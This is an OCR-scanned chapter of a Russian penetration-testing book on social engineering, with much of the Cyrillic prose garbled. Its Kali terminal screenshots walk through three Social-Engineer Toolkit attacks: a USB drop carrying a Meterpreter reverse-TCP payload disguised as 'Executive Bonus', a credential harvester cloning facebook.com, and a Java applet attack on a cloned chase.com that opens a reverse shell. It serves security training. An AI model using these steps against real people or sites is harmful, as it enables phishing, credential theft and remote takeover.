g sanycka SET BeiGepuTe B OCHOBHOM MeHIO IIyHKThI Applications » Exploitation
Tools » Social Engineering Toolkit (ITpunoskerns » MHcTpymenTsl akcruryataimu » MHCTpymeH-
TbI COIIMAJILHON MHKEHEPUN ) WM BBEAUTE B KOMAH/IHOW CTPOKE TePMUHAJIA KOMAHY:

root@kali:~# setoolkit

SET 6yzert 3amyiieH, U B TEPMIHAIE MOSBSITCS €T0 JIOTOTHI, HH(HOPMATIHS U mapa-
METPbI, KOTOPbIe MOKHO ITPUMEHUTH IIPH 3aITyCcKe HY>KHBIX NHCTPyMeHTOB (puc. 7.1).

roct@kali: ~ e @ o

File Edit View Search Terminal Help

Welcome Lo the So Enginear
The vne stop shop for &l1 of your SE needs.

Juin us ovn irc.free nel in channel

The Social-Engineer Toolkil is a producl ol TrusledSec.

Visil: hitps://wew. Lrusledsec. com
Selecl from the menu:

1) Sovcial-Engineering Atlacks

2] 3 nalralion Tesling
3) Ly M
4) Updale Lhe So near Toolkil
5) Update SET configuration

6) Help, Credits, and Aboul

99) Exil the Svcisgl-Engineaer Toolkit

sal> I

Puc. 7.1. SET 3anyweH
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Yro6bl COBEPIIUTH 0OPATHBIN BBI30B U3 T[EJEBON CHCTEMBI, MBI B HAIIIEM TECTOBOM
YIPaKHEHUH BOCTIONB3YEMCS JIIOOOTBITCTBOM COTPYAHUKOB TIEJIEBOI OPraHU3aluu.
L1 9TOTO MBI C TOMOIITBIO MHCTPYMEHTOB COIMATBHON MHKEHEPHH CO3/IaJIUM UCIIOJ-
HsaeMbli Gaiian u 3anuinem ero Ha USB-ycrpoiictBo (diieniky). 3ateM Mbl 9Ty (JIeIKy
OCTaBWM TJie-TO B opraHusaiuu (sKo6br 3a6y/em win orepsieM ). Ckopee BCero, KTo-To
U3 COTPYHUKOB, OOHAPYKUB Ty (hJICITKY, 3aX0UeT Y3HATh, YTO HA HEH, M MOAKIIOUUT
ee K KOMITBIOTEPY Ha CBOeM paboueM MecTe.

O He ucnonb3ayite dyHKUMN 06HOBMEHMS nakeToB B Kali Linux. Jlydlle kak
|:| MOXHO Yalle obHoBnsnTe camy Kali, 4ToObl NPUMEHUTbL K NPUIOXKEHUSIM BCE
nocnegHue noaaep>xmsaemble 06HOBNEHNS.

AHOHMMHaA USB-aTaka

Jluist Takoii aTaky MbI CO3a{UM MCIIOJIHSIEMbIiT (haiis, KOTOpbIil OyaeT oTBeyarhb 3a 0Opat-
HYIO CBSI3b MESK/LY TEJIEBOI MANIMHOI U HAIIUM TECTOBBIM KOMITbIOTEpOM. U106k 10CTa-
BUTb 9TOT UCTIOTHAEMbIN (haiijl Ha 11eJIeBYI0 MalnHy, momectuM ero Ha USB-ycrpoiicTBo
U IaINM eMy Ha3BaHue, KOTOPOe 3auHTEepeCyeT TOJIb30BaTe s 9TOH MAITUHBL

[Tocsie TOTO Kak MCnoaHsAeMbIi (aitn GyaeT co3lan 1 coOXpaHeH Ha (IIelike, Mbl
octaBuM USB-ycTpoiicTBO B OOIECTBEHHOM MECTe B 11eJIeBOI Opranusaiu u 6yaem
JKIATDh pe3yJibTaTa.

o) [ns nonyyeHns JOMNOSHUTENBHOM MHbOPMaLMK NOCETUTE pasaes, NMocBs-
I:I LeHHbIA SET, pacrnonioxeHHbI no aapecy http://www.social-engineer.org/
framework/general-discussion/.

s ocymecriernss USB-araky BbITIOJHUTE cIIeLyIONINe ATy,

1. Boibepure U3 crmcka OCHOBHBIX 3aja4 IyHKT 1) Social Engineering Attacks (ATaku
CONUATBLHON WHKeHeprn ). /{71 9TOTO BBEANTE B KOMAHIHYIO CTPOKY HOMEpP 9TOTO
MYHKTa, B HAIlIEM cJiydae 1, 1 HaskMuTe KiaaBuiny Enter (puc. 7.2).

Select from the menu:

1) Social -Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
Help, Credits, and About

Exit the Social-Engineer Toolkit

set= 1f]

Puc. 7.2. Hauyano USB-aTtaku
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2. Jlns cospanust ucnoJiHsieMoro (aiiia Beioepute myHKT 3) Infectious Media Generator
(Tenepatop nHdexrnmnonusbix cpen) (puc. 7.3).

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
Mass Mailer Attack
Arduinoc-Based Attack Vector

Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

t= 3 I

Puc. 7.3. Co3gaeM UcnonHsieMbln dain

3. TenepaTop MH(EKIIMOHHBIX HOCUTEJIEN TPEAJIOKUT TUIT dKCILIOMTA. [l Hammx
1eJieil MbI BOCIIOJIb3yeMcsl uctoHsieMbiM (aitiiom Metasploit. [{ist 91010 HYKHO
BBIOpaTh MyHKT 2) Standard Metasploit Executable (CrangapTHbI HCIOIHIEMbII (aii
Metasploit) (puc. 7.4).

The Infectious USB/CD/DYD module will create an autorun.inf file and a
Metasploit payload. When the DVWD/USB/CD is inserted, it will automatically
run if autorun is enabled.

Pick the attack wvector you wish to use: fileformat bugs or a straight executabl
e.

1) File-Format Exploits
2) Standard Metasploit Executable

99} Return to Main Menu

Puc. 7.4. BbibupaeM CTaHAapTHbIN UCONHsieMbll dalin Metasploit

4. Pa3paboTaHO HECKOJBKO IMOJIE3HBIX HATPY30K, KOTOPBIE MBI MOKEM HCIIOJIb30BATh.
Hampuwmep, Harpyska Windows Meterpreter Reverse HTTPS okaskeTcs 110Jie3Ha B KOPIIO-
PaTUBHOI HACTPOIKE, TOTOMY YTO OPTaHM3AINN YaCTO PA3PEIIAtOT 0OIIIE MOKIIIO-
yenust HTTPS k UnTeprery. J{Jist Hamux 1eseil Mbl Gy/1eM UCTIOIb30BATh TPOCTOE
obpatroe TCP-coenunenue. Jo6aBbre MOIE3HYIO HATPY3KY /st 00PATHOTO COEU-
Henust TCP, BeiOpas myHKT 2) Windows Reverse_TCP Meterpreter (Windows oGpaTHbrit
TCP Meterpreter) (puc. 7.5).
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1) Windows Shell Reverse TCP
d send back to attacker
2) Windows Reverse TCP Meterpreter
m and send back to attacker
3) Windows Reve TGP WNC DLL
end back to attac
4) Windows Shell Reverse TCF X64
ICP Lnline
5) Windows Meterpreter Reverse TCP X64
ows x64), Meterpreter
) Windows Meterpreter Fgress Ruster
a port home via multiple ports
7) Windows Meterpreter Reverse HTTPS
ng SSL and use Meterp er
8) Windows Melerpreler Reverse DNS
dress and use Reverse Meterpreter
9) Download/Run your Own Executable

Spawn a command shell on wvictim an
Spawn a meterpreter shell on victi
Spawn a VNC server on victim and s
Windows XG4 Command Shell, Reverse
Connect back to the attacker (Wind
Spawn a meterpreter shell and find
Tunnel communication over HTTP usi
Use a hustname inslead ol an IP ad

Downloads an executable and runs 1

Puc. 7.5. Bbibrpaem nonesHyto Harpysky
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5. Ham Hy:XHO ycTaHOBUTH ITPOCJYIIUBATENb TOJE3HOHN HATPY3KU. B Harei cutyarin
um Oyzer IP-azpec tecroBoii Mamunbl (172.16.122.185). B HeKOTOPbIX CiIy4asiX Bbl
MOJKETe UCII0JIb30BaTh IIEHTPAJIbHbII cepep ¢ ycraHosaennoit Kali Linux u nmposo-
JINTh aTaKy, 3a/ielicTBYsI HecKOJbKO USB-ycTpoiicTB, Ha KOTOPBIX IPOCIYIITNBATEIEM
1oJ1e3Hoit Harpysku Oyzer IP-agpec TectoBoii Mammmbl. Beibepure s o6parHoro
mopra IpocjyinuBaresis noprt 4444 n naxmure Kiasuiny Enter. Bam Oymer npen-
JIO’KEHO CO3/[aTh IPpocJIyIuBaresb. /s ero cosianus BBepute yes. byzer samnyinen
npocaynmBarenb Meterpreter (puc. 7.6).

IP address for the payload listener (LHOST):172.16.12
L = Cnter the PORT for the reverse listener:4444
] Generaling Lhe paylvad.. please be palienl.

[*] Payload has been exported to the default SET directory located under: /root/

|.set/payload.exe

[*] Your attack has been created in the SET home directory (/root/.set/) folder

‘autorun’

[*] Note a backup copy of template.pdf is also in /root/.set/template.pdf if nee

ded.

[-]1 Copy the contents of the folder to a CD D/USB to autorun
= Create & listener right now [yes|no]: I

Puc. 7.6. Co3gaHue npocnywwmsatens Meterpreter

6. Yrob6bl yBUAETH UCHIONHAEeMbIN (haii, nepeiianTe B nanky /root/.set (puc. 7.7).

kali:~/ 1s

autorun

meta config

payload e ] set.options

Puc. 7.7. WcnonHsieMsblli haiin B cnucke ¢ainioB nanku /root/.set
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7. Tlpocto ckomupyiite daitn payload.exe Ha Pabouuin cton. Ilocie aToro BeI MoKeTe
3arpy3uTth ero Ha USB-ycTpoiictBo. Ho HaM HYKHO TTPOBEPHYTH ellle OJINH TPIOK:
JIaTh HTOMY (haliy Takoe UMsi, KOTOPOE 3aMHTEPECYET TEeNeBOi 0O0bEKT, HATIPHMED
Executive Bonus (McnosHuTe bHbii 6oHyc). Takoe nepernMeHoOBaHUE TI0JE3HO, eCIII
Ha 1esieBoit Mamnae Ha USB-noprax oTkiouena gyHKIus aprodanycka. Kormga
USB-ycTpolicTBO MOATOTOBJIECHO, «[IOTEPSIITE> €r0 B 0OIECTBEHHOM MECTE 11eJICBOTO
MIPEANPUSATHUS MU HA AaBTOCTOSTHKE.

8. Huuero He 110103peBaIONINIT 1€JIEBOI 0OBEKT HAXOAUT «oTepsaHHoe> USB-yerpoiictBo
U TIOZIKJTIOYAET €r0 K cCBoeMy KoMmbioTepy. Ha aTom arare ucnonnsemsrii aii 3a-
MyCKAETCSA W MBI BUIUM OTKPBITYIO Ha TE€CTOBOI MatimHe 06010uKy Meterpreter
(puc. 7.8).

[*] Processi / eta _config for ERB directives.
resource [/ s a config)= use multi/handler
resource (/ .S a_config)= set payload windows/meterpreter/reverse tcp
payload i e reverse_tcp
/ gl= set LHOST 172.16.122.185

[/ root .set/meta config)> set LPORT 4444
eta config)> set ExitOnSession false
eta config)> exploit -j
[*] Exploit runnlng as background job.

[*] Started reverse TCP handler on 172.16

[*] Starting the payload handler...
f ploit{han r) = [*] Sending stage

{ bytes) to 172.16.
rpreter session 1 opened (172.16.172 14444 -> 172.16.1
2016-03-28 16:58:33 -0460

2.168
168:1433) at

12
A

Puc. 7.8. O6onouka Meterpreter 0TKpbITa Ha TECTOBOMN MallWHE

Mcnonb3yiTe 3Ty aTaky, ec/iv OHa NpeaycMOTpPeHa 0rOBOPOM MEXAY BaMu
M KIMEHTOM M Ball K/IMEHT NMOHUMAET, YTO Bbl ByaeTe AenaTb. Takasi aTaka
TaKKe TPebyeT AoCTYMNa K (PMU3MUECKOMY PACTIONIOXKEHUIO LIENEBON OpraHm3a-
LMW UK MaLLMHbL. ECTb BapuaHTbl, KOraa MOXHO OTNpaBuTb ali Noie3Hom
HarpysKu rno 37eKTPOHHOMN MOYTE UMM C MOMOLLLIO APYroro cepeuca obMeHa
COODBLLEHUAMM.

10

Ha6op HHCTPYMEHTOB IOCTOSHHO OOHOBJISIETCS €0 CO34aTeIAMU U B 110001 MO-
MEHT MOKeT ObITh PAAUKAIbHO U3MeHeH. MbI TOJIBKO CJIerka PACKPbLIN BO3MOKHOCTU
SET. Eciu BbI kesiaete MpOAOJIKUTH U3yYeHHE 9TOr0 TPO3HOro Habopa HHCTPYMEH-
TOB, IIOCETUTE CAIT, PACIIOJIOXKEHHBIN 110 afpecy https://www.trustedsec.com/downloads/
social-engineer-toolkit/. HaunuTe ¢ mpocMoTpa rpe/icTaBJIeHHbIX Ha 9TOM caliTe BUEO-
MaTepuaJIoB.
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C60p y4eTHbIX AaHHbIX

B aToi aTake MBI cO3MaAMM TTOAIETbHYIO KOTIUIO M3BECTHOTO caiita. Hamma xomnug,
O/IHAKO, TI03BOJIUT HAM 3aXBaTUTh yYeTHbIE JaHHbIE 110/1b30BaTeisd. IToObI Ues0BeK MOr
[IOCETUTD HAIll CAIiT, IIOTPedyeTcs OTIPABUTD CCUIKY Ha HEro 10 3JIEKTPOHHOMN 110YTe
€ 3ar0JIOBKOM WJIM T€MOM, KOTOpasi 3aMHTepecyeT 1oJb3oBaTes. EMy Oyzer nupeuio-
JKEHO BOITH B CUCTEMY, U BCe — y4eTHbIe JaHHbie OY1yT 3aXBaYeHbl.

1. Bsemure KoMaH/y setoolkit, a 3aTeM, HAXOAACH B IVIAaBHOM MEHIO, BBeJIUTE 1, 4YTOODBI
TepelTH K MEHIO COTTUAIbHON MHKEHEPUU.

2. Yrobsr BEIOpaTh 2) Website Attack Vectors ( BekTopbl ataky Ha caiiT), BBeuTe B KOMaH/I-
HOlT cTpoke 2 (puc. 7.9).

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) SMS Spoofing Attack Vector

11) Third Party Modules

Return back to the main menu.

Puc. 7.9. Bbibupaem HanpaBneHue aTaku Ha canT
3. [lns cbopa yyeTHBIX JaHHBIX BBEAKUTE B KOMAHAHYIO CTPOKY 3 (puc. 7.10).

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

Return to Main Menu

battack=]]

Puc. 7.10. Buibupaem Metasploit Browser Exploit Method
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Ha gaHHBII MOMEHT MbI ycrenHo sarpysua Mmoayib Credential Harvester. B Hem
y HAC €CTh TPU BapUaHTa AeHCTBUI: HCIO/Ib30BaHUe BeO-11a0JI0HOB, KJIOHUPOBAaHHUe caiiTa
WJIV TTOJIb30BaTEIbCKUI UMITOPT. J[J1s1 Hatero crieHapust Mbl BeibepeM BapuanT 2) Site Cloner
(Knonuposanue caiita) (puc. 7.11).

set:webattack=3
The Tirst method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own wehsite, note that you

should only have an index.html when using Lhe imporl websile
functionality.

1) Web Templates
?) Site Cloner
3) Custom Importl
99) Return to Webattack Menu

set:wehattacksf]

Puc. 7.11. BbibrpaeM BapuaHT K/IOHMPOBaHWS caiTa

B nepByto ouepesib HaM Hy:KHO BBecTH [P-azipec, 1o KoTopomy OyieT pasMelieH caiir,
TO eCTb aJipec X0CTa, T/e BbI celyac HaXoauTech. BbI MOKeTe MOATBEepAUTH cBOM 1P,
BBeJIA B IPYTOM TepMuHase ifconfig, 1 9TOT afipec aBTOMATHYECKH TOJLKEH MTOSIBUTHCSI
B KOMaHJHOH cTpoke (puc. 7.12).

root@kali: ~ e ® O

File [Cdit View Search Terminal Ielp

SET

[-] Lo harvesl credenlials or paramelers from a websile as well as place Lhem inj
to a report

=== ¥ IMPORTANT * READ THLIS BEFORE ENTERING LM THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. It it does. you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns'l know how Lo communicale with a privale IP
address, so if you don't specify an external TP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how nctworking works.

attack> IP address fTor the POST back in Harvester/Tabnabbing [172.20.1.85

Puc. 7.12. IP-agpec TeCTOBON MalUMHbI B KOMAHAHOW CTPOKe
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IP-anpec Hareii rectoBoii mammubl — 172.20.1.85. IP-aapec Bateii TecToBoi Matim-
Hbl Oyzer apyrum. ITocie Toro kak IP Oyzer BBeleH, HEOOXOIMMO YKa3aTh ajipec caiiTa,
KOTOPBII BbI XOTUTE KJIOHUPOBaTh. Mbl BeIOpasiu https://www.facebook.com (puc. 7.13).

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
battack= Enter the url to clone:https://www.facebook.com

-1
-1

[*] Cloning the website: https://login.facebook.com/login.php
[*¥] This could take a little bit...

irectory structure is.
Press {return} if you understand what we're saying here.l

Puc. 7.13. Agpec KIOHMpyeMoro caiTa

KionupoBanue caiita 3aiiMeT HekoTopoe BpeMs. Korza aToT 11poliecc 3aBepIuuTcs,
BBI YBUJIUTE COOOIEHHE C TIPOCKOOI M3YUHUTh CTPYKTYPY KaTanoros Be6-cepsepa. B Kali
Linux cTpyKTypa 1o yMoI4anuio — /var/www/. YTo6bl 3a11ycTuTh BeG-cepBep, HasKMUTE
KJaBuly Enter.

Yro6bl TIOATBEPAUTH PAOOTY KIOHUPOBAHHOTO CAWTA, MbI BBIIOJIHUIN TECT B Opay-
3epe B KALI, nepenutu o anpecy 127.0.0.1 u cBoemy ceresomy IP 172.20.1.85 u moji-
TBEPUJIH, 9TO CAlT 3arpyskeH (puc. 7.14).

Kax Buzgno us ckpunmora, SET coobmmi o AByX TecTax, KOTOPBIE MbI TPOBEJIH,
4TOGBI MOATBEPUTH JIOCTYTHOCTH CaiTa.

root@kali: ~ e @ 0
File [Cdit View Search Terminal Ielp
SET supports both HTTP and HTTPS
Example: hilp://www.lhisisalakesile.com
:webattack= Enter the url to clone:https://www.facebook.com

Cloning the website: https://login.taccbook.com/Login.ph
This could take a little bit...

e this attack is if username and pa d form

5 ailable. Regardless, this captures all P on a website.
[*] You may nced to copy /var/www/* into /var/www/htmlL depending on where your d
irectory structure is.
Press {return} if you understand what we're saying here.
[#] The ial-Engineer Toolkit Credential Harvesler Allack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
127.0.0.1 - - |06/Aug/2018 11:44:30] "GET / HTTP/1.1" 208 -
directory traversal attempt detected from: 127.9.8.1
127.8.8.1 - - [86/Aug/2818 11:44:33] "GET /inlern/common/reflerer_[lrame_php HTTP/
1.1" 484 -
172.20.1.85 - - [06/Aug/2018 11:46:06] "GET / HTTP/1.1" 200 -
dircctory traversal attempt detected from: 172.20.1.85
172.20.1.85 - - [06/Aug/2018 11:46:88] "GET /intern/common/referer frame.php HTI
P/s1.1" 484 -

Puc. 7.14. MNMoaTtsepxxaeHue 3arpy3sku canta



238 nasa 7 e CouuanbHas MHXeHepus

Ha nanublit MOMEHT Mbl yCIIENIHO HACTPOUJIM Hally I1aTdopMy B3auMOECTBHS,
€ KOTOPOH CO3/1a/IUM TIOJI/IeJIbHOE 2JIEKTPOHHOE IIMCbMO CO CCBIJIKON Ha HAllly CUCTEMY
1 OTIPABUM 3TY CCBIJIKY Ha IOYTOBBIN AIIMK Halllel )KepTBbl. BaliuM OCHOBHBIM HC-
TOYHUKOM OYIyT Pe3yIbTaThl IPOBECHHON paHee pasBeaku. [[1MCHMO OJKHO BBITJIS-
JIETh TaK, Kak OY/ITO €ro OTIPABIII YEJOBEK, XOPOIIO 3HAKOMBIH C I[EJIEBBIM 0OBEKTOM.
Kpome Toro, 4To6bI 11e1eBoi 06BEKT HUYETo He 3aI0[03PUJI, HY;KHO COXPAHUTH CTHJIH-
CTUKY U HOJIIMCH 3TOTO KOPPECIIOH/ICHTA.

MHorvie Ntoan OTBEYAOT HA SMEKTPOHHBIE MCbMA C MOBUbHBIX TeNIEhOHOB,
1 06bIYHO MOANWCHK B NMUCbMAX, OTMPABIEHHbIX C MOBUSILHOO, 3HAYUTENBHO
OT/INYAIOTCS OT TaKMX e MoAnucel B NUcbMax C HoyTEyka. Hanpumep,
Korga nucbMo OTMPAB/IEHO C HOYTOYKa, B MOAMMCU COTPYAHMKA KOMMAHWM
Ha HOyTOYKe yKa3aHo ero NosiHoe UMsl, ckaxkeM [KoH YUHTep, a Npu oTBeTe
C MO6ULHOrO TenedoHa HanMcaHo --J. Bbl AOMKHbBI 3TO YYUTLIBATD.

Bumecto Toro 4to6bl OpUEHTHPOBATHCS HA HECKOJILKUX TI0JB30BATENEH, Y KOTOPBIX
€CTb aJ[pec Balllell 2JIeKTPOHHON ITI0YThI, MOKHO OPUEHTUPOBATHCS Ha BCEX 10JIb30-
BaTeJieil CeTH, 4acThio KOTOPOil BBI sABJsieTeCh. [Jst 9TOr0 OTpebyeTCst BHIIOJTHUTD
ele HEeCKOJIbKO 11aroB M BOCIIOJIb30BATHCS JOMNOJHUTEIbHBIMI UHCTPYMEHTAMMU.
K atomy Bompocy Mbi BepHeMcs B riase 11, mpu rectupoBatuu 6eCIpoBOAHOTO MPO-
HUKHOBEHUA.

BpenoHocHbIn Java-annneT

3/1eCh MBI HCIIOJIb3YEM TTOXO0KYIO0 (PYHKIIMIO aTaku cOOpa yYETHBIX JIAHHbIX, BCTPOUB Ha
3TOT pas M0JIb30BaTeJbCKUI allllyIeT Java B CTPaHUILy, 3allPallliBAIONLYIO Y TI0JIb30BaTeIs
1paBa Ha BbInosiHeHue. [locJie Toro Kak 1mosb3oBaTesIb IPUMeT IIPUTJIallieHne, TIoJe3Hast
HarpysKa BBIIIOJIHUTCA U IeJieBas MAINHA MOKIIOYNTCS K HAllleMy KOMITbIoTepy, 06e-
CIIeyrBasi TeM CaMbIM y/IaJIeHHBII JOCTYII.

1. Emre pas 3amycTuTe MHCTPYMEHTHI COIIMAIBHOTO NHKEHEepa. Y1o6b1 BbI6paTb COOT-
BETCTBYIOIIEe MEHIO, B KOMaHIHON cTpoke BBenTe 1. [lasee, YTOOBI BbI6paTb Website
Attack Vectors, BBeuTe 2.

2. Ytobsl BeIOpaTh BekTOp aTaku 1) Java Applet Attack (ATaka Java-amiiera), BBeUTe
B KOMaHHYI0 CTPOKY 1 (puc. 7.15).

3. Tlocue 3arpysku Mbl ocTaHoBUMCs Ha BapuanTe 2) Site Cloner (Kiionupoanue caiita),
KaK JieJ1ajiv 9TO B IIPEAbIAYIIEM IIPUMEPE.

4. Bac cmpocsir, ucrosbayere Ju BbI mepeajapecaruio noptos uan NAT-enabled.
MpbI B aTOM ITpUMeEpe BBEZIEM no, TOCKOJIBKY 3T (DYHKITMN HACTPAUBAIOTCS BO BHY-
TpeHHell cpejie.

5. Hacrpoiite IP-axpec npocaymusaresnsa. SET no ymosdanuio obHapyskut Bamt 1P
U aBTOMaTHYeCKH J106aBUT €ro B COOTBETCTBYMOIIEE ToJie BBoza. OT Bac Tpebyercst
IIPOCTO HAXKATh KJIaBuUILy Enter.
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root@kali: ~ e ® 9
File kdit View Search lerminal Help

ate however when clicked a window pops up then is replaced with the malicious 1i
nk. You can edit the link replacement settings in the set_config if its too slow
/fast.

The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet., Metasploit Browser, Credenti
al Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell inje

ction through HTA files which can be used for Windows-based powershell exploitat
ion Lhrough Lhe browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
Tabnabbing Attack Method
Web Jacking Attack Method
Multi-Attack Web Method
Full Screen Attack Method
HTA Attack Method

Return to Main Menu

Puc. 7.15. Buibop BekTopa aTtaku Java Applet Attack

root@kali: ~ e ® O
bile kdit View Search lerminal Help
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templales
2) Site Cloner

3) Custom Import

99) Return to Webattack Menu

set:webattack=2
-1 NAT/Port Forwarding can be used in the cases where your SET machine is

[-]1 not externally exposed and may be a different IP address than your reverse 1
istener.

set> Are you using NAT/Port Forwarding [yes|no]l: no

set> TP address or URL (www.ex.com) for the payload listener (LHDST) [192.168.8.
183]:

Puc. 7.16. Boibupaem BapuaHT 2) Site Cloner (KnoHupoBaHve caiita)
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6. Hasee Bam Oy/IeT IPeIJIOKEHO HACTPOUTD CaM allIlIeT Java, UCII0JIb3Ysl OAUH 13 TPexX
BapuaHTOB. MbI BbiOepeM BCTpoeHHY 0 QyHKINIO (2), KoTopas nocrasisiercs ¢ SET.
Ecom BbI 3HaeTe, kKak KOAMPOBATh HA Java, BBEJIUTE 3.

root@kali: ~ Q@ O
File Edit View Search Terminal Help

NAT/Port Forwarding can be used in the cases where your SET machine is
not externally exposed and may be a different IP address than your reverse 1

> Are you using NAT/Port Forwarding lyes|nol: no
> IP address or URL (www.cx.com) for the payload listener (LHOST) [192.168.0.

NexL we need Lo specifly whelher you will use your own sell generaled java applel
, built in applet, or your own code signed java applet. In this section, you hav
e all three options available. The first will create a self-signed certificate i
f you have the java jdk installed. The second option will use the one built into
SET, and the third will allow you to import your own java applet OR code sign t
he one built into SET if you have a certificate.

Select which option you want:

1. Make my own sclf-signed certificate applet.

2. Use the applet built into SET.

3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2.

Puc. 7.17. BbibrpaeM HyXHblVi BapuaHT HacTPOMKK annieTta

7. Tocye sroro SET mpuCTYIUT K CO3aHMIO amiieta. Bam Gy/ieT mpeioKeHo BBECTH
IP-axpec 11eeBOTo caiiTa [jist KIOHUPOBaHUs. Bbl HABEPHSIKA 3aXOTUTE BHIOPATD
caliT, KOTOPOMY >KePTBa JIOBEPSIET U HA KOTOPOM TOYHO MPUMET 3alPOC Ha 3aITyCK
Java-anmiera. Mol f7ist 5T0T0 BBIOpasu caiit https://www.chase.com. ITocsie KJIOHIPO-
Bauust SET aBromatnuecku goGasut ammiet Java (puc. 7.18).

Enler Lhe number you wanl Lo use [1-3]: 2

[*] Dkay! lsing the one built infto SFT - be careful, self signed isn't accepted
in newer versions of Java :{

[-1 SET supports both HTTP and HTTPS

[-]1 Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:https://www.chase.com

Cloning the website: https://www.chase.com
This could take a little bit...

Injecting Java Applet attack into the newly cloned website.
Filename obfuscation complete. Payload name is: ICWBMtyIqlTVv
Malicious java applet website prepped for deployment

Puc. 7.18. KnoHvpoBaHue caiTa ¢ aBToMaTUyeckum gobassieHneM annnerta

8. JlobaBbTe B amIuIeT MOJIE3HYIO0 HArpy3Ky. B aToM mipuMepe Mbl Oy/ieM HCIIOIb30BATh
BapuanT 3 (puc. 7.19).
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root@kali: ~ Q@ O
File Edit View Search Terminal Help

What payload do you want to generate:
Name : Description:

1) Mcterpreter Memory Injection (DEFAULT) This will drop a meterpreter paylo
ad through powershell injection
2) Meterpreter Multi-Memory Injection This will drop multiple Metasploit
payloads via powershell injection
3) SE Toolkit Interactive Shell Custom interactive reverse toolkit
designed for SET
4) SE Tooulkil HTTP Reverse Shell Purely nalive HTTP shell wilh AES
encryption support
5) RATTE HTTP Tunneling Payload Security bypass payload that will
tunnel all comms over HTTP
6) ShellCodeeExec Alphanum Shellcode This will drop a meterpreter paylo
ad through shellcodeexec
7) Import your own executable Specifty a path for your own execut
able

8) Import your own commands.txt Specifty payloads to be sent via co
mmand line

et:payloads=>3]]

Puc. 7.19. Boibupaem nonesHyto Harpysky annnera

9. Tenepb ocTanoch BBIOPATH MOPT MPOCIYITHBaHMst. Mbl OCTaBUJIH TIOPT, TIPE/JIara-
eMblii 10 yMosrqauuio, — 443 (puc. 7.20).

root@kali: ~ Q@ O
File Edit View Search Terminal Help

7) Import your own executable Specify a path for your own executfs
able

8) Import your own commands.txt Specify payleads to be sent via co
mmand line

set:payloads>3

o o o o oo oo o o o o o o o o o o o o o oo o o o o o o o o o o o

Web Server Launched. Welcome to the SET Web Attack.
EEE SRR S A S AL SRS S S S LRSS EE S S LS S AL S S L L 2

[--] Tested on Windows, Linux, and 0SX [--]
[*] Moving paylvad inlov cloned website.

[#] The site has been moved. SET Web Server is now listening..

[-]1 Launching the SET Interactive Shell...

Port to listen on [443]:
I*] Detaulting to port 443 for the Llistener.
[*] Crypto.Cipher library is installed. AES will be used for socket communicatio
n.
[*] ALl communications will leverage AES 256 and randomized cipher-key exchange.§’
[#] The Social-Fngineer Toolkit (SFT) is listening on: B.0.0.0:443 g

Puc. 7.20. Boibrpaem nopT Ans NpocnywmBaHns
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Hacrpoiika saBepuiena. I[Togo6Ho credential-harvester, Mbl MoskeM 1epecsiaTh Halleil
JKEPTBE CCBLIKY MO AIEKTPOHHON moure. [lepes aTuM ciieryer yoeanuThes, 4To MHChMO,
B KOTOPOE BCTPOEHA CCHIJIKA, HE BBI3OBET MOJO3PEHUIT U JKePTBA MIEJIKHET KHOMKOMN
MBIIIN HA 9TOM CChLIKE.

Pe3tome

B 571011 r1aBe Mbl 00CY:K 1211 IPUMEHEHNE IIPHEMOB COLUANbHON NHKEHEPUU B Pa3/Ind-
HBIX chepax ku3Hu. TecTepbl Ha MPOHUKHOBEHNE MOTYT CTOJTKHYTBCS € CUTYAIUSAMM,
KOTZIa UM JIJIS TIOJIyYeHnsT KOH(MUACHIIMATbHON NHPOPMAITNHN TTPUJETCS TPUMEHUTD
MCUXOJIOTHYECKYT0 aTaky. Tak yCTPOEHO PUPOIOiL, 4TO YeToBeK OecCuiieH mepe He-
KOTOPBIMU BuiaMu o6mMana. YToObl BBl MOTJIH JIydIlie TOHATH MPUEMbBI COTTMATbHO
WHKEHEPUH, MBI TIEPEYHUCIIUIN 6a30BbIe (PaKTOPBI, BIAMUSAIONINAE HA TICHXOJIOTHIO YeJIOBEKA
(KOMMYHUKAITUS, OKPYKAIOTIas cpe/ia, 3HaHUs, MOpaJIbHbIC PAMKH ). 3HAHWE 9THUX (DaK-
TOPOB, B CBOIO 0Y€EPE/Ib, TOMOTAET COMMANLHOMY WHXKeHepy mpopaborarh atambl (c6op
nHbOopMaINK, BbISABICHUE YA3BUMbIX TOUYEK, IJIAHNPOBAHNE aTaKU W BBITOJHEHUE)
